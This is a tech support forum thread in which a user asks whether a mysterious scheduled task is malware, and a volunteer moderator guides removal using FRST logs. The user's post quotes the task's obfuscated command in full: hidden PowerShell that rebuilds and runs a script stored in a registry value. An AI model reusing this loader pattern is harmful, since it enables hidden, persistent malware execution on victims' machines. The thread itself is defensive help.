Share via

Help identify suspicious tasks

Anonymous
2023-06-05T09:26:12+00:00

i have noticed command prompt to appear and disappear instantly after 1-2 hours of startup then i checked my task scheduler and found this weird task named "t2PI3Rtb" which is tasked to run this script every 59 mins after user login

location = \Microsoft\Windows\Management\Provisioning\t2Pi3

script = /c EcHo iex "ICM ([ScrIptblOck]::creaTE([sTRIng]::JOiN('', ((Get-itemPrOpeRty -pAth 'hklm:\sOftWaRE\dEFauLTuserenVIRoNmEntt2pI3r').'t2PI3RtB' | % { cHAr }))))" | PowErsHELl -WInDOwstyLE hIDDeN

anyone knows if it is harmful or not?

Windows for home | Windows 10 | Security and privacy

Locked Question. This question was migrated from the Microsoft Support Community. You can vote on whether it's helpful, but you can't add comments or replies or follow the question.

0 comments

Answer accepted by question author

  1. _AW_ 67,256 Reputation points Volunteer Moderator
    2023-06-05T12:25:53+00:00

    Thanks for that. Turns out that the encoded script is the same one that's been circulating for many months now. All the domains it tries to contact have been taken down, so all it did was consume CPU whilst it endlessly looped.

    If there's no further concerns, to completely remove FRST, just rename it to uninstall.exe and run it.

    Also, it would be greatly appreciated if you would mark the thread as answered, by pressing Yes below the post that provided the solution.

    Good luck!

    Was this answer helpful?

    1 person found this answer helpful.
    0 comments

8 additional answers

Sort by: Most helpful
Most helpful Newest Oldest
  1. Anonymous
    2023-06-05T11:19:26+00:00

    I don't know about license for office as I never installed that myself, I was gifted this laptop and I upgraded its Hard Drive from HDD to SSD and at that time Windows and everything else was reinstalled. does that Infection/Fix have to do anything with these licenses?

    Was this answer helpful?

    0 comments
  2. _AW_ 67,256 Reputation points Volunteer Moderator
    2023-06-05T11:01:34+00:00

    Download the following Fixlist to the same folder that FRST is in.

    Run FRST and press Fix.

    After the computer restarts, there will be a Fixlog in the FRST folder and a log.txt on your Desktop.

    Please share both files so I can decode the malware script and see if anything else needs to be done.

    https://1drv.ms/t/s!AqQnVFhmcB_wmlz4BBBtoNiVRfWW?e=LMWUTc

    
Do you have genuine licenses for Windows and Office?

At present there's an activator running:

IFEO\osppsvc.exe: [VerifierDlls] SppExtComObjHook.dll 

IFEO\SppExtComObj.exe: [VerifierDlls] SppExtComObjHook.dll

    Was this answer helpful?

    0 comments
  3. Anonymous
    2023-06-05T10:28:53+00:00

    Hi AW! Thanks for quick reply and helping me on this. here is the link to the file. https://www.dropbox.com/s/034gjxdrdd9mkwy/FRST.zip?dl=0

    Was this answer helpful?

    0 comments
  4. _AW_ 67,256 Reputation points Volunteer Moderator
    2023-06-05T10:06:02+00:00

    Hi Jatinder, please provide logs from Farbar Recovery Scan Tool (FRST) and I'll help you remove the infection.

    https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

    Run FRST and press Scan. Two logs are created in the folder that FRST is run from, FRST.txt and Addition.txt.

    Zip the logs and share on OneDrive, Google Drive or any file sharing service, then post the share link.

    * Note:If you are downloading FRST with Edge, smartscreen will initially block it.

    Click on the 3 dots next to the warning and select Keep -> Show more -> Keep anyway.

    Was this answer helpful?

    0 comments